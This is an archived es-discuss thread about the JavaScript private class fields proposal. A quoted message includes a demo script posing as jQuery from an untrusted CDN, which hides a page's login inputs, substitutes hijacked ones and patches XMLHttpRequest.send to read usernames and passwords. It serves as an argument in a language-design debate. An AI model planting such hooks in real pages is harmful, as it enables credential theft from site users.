Re: EcmaScript Proposal – Private methods and fields proposals.

Michael Theriot michael.lee.theriot at gmail.com
Tue Apr 17 10:57:34 UTC 2018


There's no confidence anything you run on someone else's machine really is "private" in any language (especially with reflection). Nevertheless private members still exist and continue to be used.

> On Apr 17, 2018, at 6:34 AM, kai zhu <kaizhu256 at gmail.com> wrote:
> 
> can you give actual code-examples of real-world things in web-projects
> that are worth the effort and cost to **proactively** hide from
> web-developers?  i suspect for most, just following python
> design-pattern of prefixing them with '_' or '$' is good enough.
> 
> also in a webpage-context, how confident are you that private
> methods/fields really are "private" and safe from naughty-developers?
> would you trust private fields/methods enough to allow untrusted code
> to run alongside your credit-card transaction webpage?  for example,
> here's a live web-demo of a side-channel attack to indirectly
> modify/read private fields (via jquery from untrusted cdn) [1], with
> screenshots and full source-code here [2].
> 
> its not too difficult to craft these side-channel exploits when a
> naughty-developer has full-access to your frontend source-code. how
> many companies/organizations in the world do you think have the
> resources to audit/harden their frontend-code to ensure private
> methods/fields really are private and cannot be tinkered with through
> various side-channel exploits (hijacking dom-inputs, XMLHttpRequest,
> LocalStorage, IndexedDb, Array-accessors,
> dependent-subclasses-you-forgot-to-encapsulate, etc)?
> 
> [1]
> "live web-demo"
> https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
> 
> [2]
> "screenshot and full source-code of demo-exploit"
> https://github.com/tc39/proposal-class-fields/issues/93#issuecomment-380073112
> 
> 
> 
> ```javascript
> /*
> * jquery.from.untrusted.cdn.js
> *
> * this script will indirectly modify/read private-fields by hijacking
> dom-inputs and XMLHttpRequest.
> * it is custom-crafted for a given webpage's freely available
> frontend source-code
> *
> * live web-demo of it in action at:
> * https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
> */
> /*jslint
>    bitwise: true,
>    browser: true,
>    maxerr: 4,
>    maxlen: 100,
>    node: true,
>    nomen: true,
>    regexp: true,
>    stupid: true
> */
> (function () {
>    'use strict';
>    var XMLHttpRequestPrototypeSend, consoleLog;
>    consoleLog = console.log;
>    console.log = function () {
>        document.querySelector('#textareaStdout').value +=
> Array.from(arguments).join(' ') +
>            '\n';
>        consoleLog.apply(console, arguments);
>    };
>    // side-channel attack to modify private-fields in hijacked dom-inputs
>    ['inputPassword', 'inputUsername'].forEach(function (element) {
>    /*
>     * this function will hide the original dom-inputs from the user,
>     * and replace them with hijacked ones, that can arbitrarily modify data
>     */
>        var hijackElement;
>        element = document.querySelector('#' + element);
>        element.style.display = 'none';
>        hijackElement = document.createElement('input');
>        element.parentNode.insertBefore(hijackElement, element);
>        hijackElement.id = element.id + '2';
>        hijackElement.type = element.type;
>        hijackElement.value = element.value;
>        hijackElement.addEventListener('change', function () {
>            // arbitrarily modify data and pass it back to original dom-inputs
>            element.value = hijackElement.value + ' modified!';
>        });
>        element.value = element.value + ' modified!';
>    });
>    document.querySelector('#inputSubmit').addEventListener('click',
> function () {
>        console.log('hijacked dom-input to modify field
> loginInstance.privateUsername=' +
>            JSON.stringify(document.querySelector('#inputUsername').value));
>        console.log('hijacked dom-input to modify field
> loginInstance.privatePassword=' +
>            JSON.stringify(document.querySelector('#inputPassword').value)
> + '\n');
>    });
>    // side-channel attack to read private-fields from hijacked XMLHttpRequest
>    XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
>    XMLHttpRequest.prototype.send = function (data) {
>    /*
>     * this function will hijack XMLHttpRequest.prototype.send to
> indirectly read private-fields
>     */
>        try {
>            data = JSON.parse(data);
>            console.log('hijacked XMLHttpRequest.prototype.send to
> read field ' +
>                'loginInstance.privateUsername=' +
> JSON.stringify(data.username));
>            console.log('hijacked XMLHttpRequest.prototype.send to
> read field ' +
>                'loginInstance.privatePassword=' +
> JSON.stringify(data.password) + '\n');
>        } catch (ignore) {
>        }
>        XMLHttpRequestPrototypeSend.apply(this, arguments);
>    };
>    console.log('loaded script <script
> src="jquery.from.untrusted.cdn.js"></script>');
> }());
> ```
> 
> 
>> On 4/17/18, Dan Peddle <dan at flarework.com> wrote:
>> imagine you are shipping a module for use by others, and you don't want to
>> expose internals to consumers. private methods and properties help to know
>> that only the public API is in use, giving confidence in publishing updates
>> or fixes.
>> 
>> another use case is knowing that naughty developers aren't reaching into
>> your module and changing its behaviour.
>> 
>> I'm sure there's more, but those are the ones that come to mind.
>> 
>>> On 17. Apr 2018, at 08:17, kai zhu <kaizhu256 at gmail.com> wrote:
>>> 
>>> as a javascript web-developer, can someone educate me on how private
>>> class methods/fields would make one's life easier (rather than harder)
>>> in getting web-projects shipped?
>>> 
>>> ```
>>> /*
>>> * how is this cited example better than using a plain object in a
>>> web-project?
>>> * can someone give actual common problems in
>>> * debugging/integrating/shipping web-projects,
>>> * that private methods/fields could help simplify (rather than
>>> complicate)?
>>> */
>>> class HashTable {
>>> constructor() {
>>>   private[Symbol.for('length')] = 0
>>> }
>>> set(key, value) {
>>>   private[key] = value
>>> }
>>> get(key) {
>>>   return private[key]
>>> }
>>> }
>>> ```
>>> 
>> 
> _______________________________________________
> es-discuss mailing list
> es-discuss at mozilla.org
> https://mail.mozilla.org/listinfo/es-discuss


More information about the es-discuss mailing list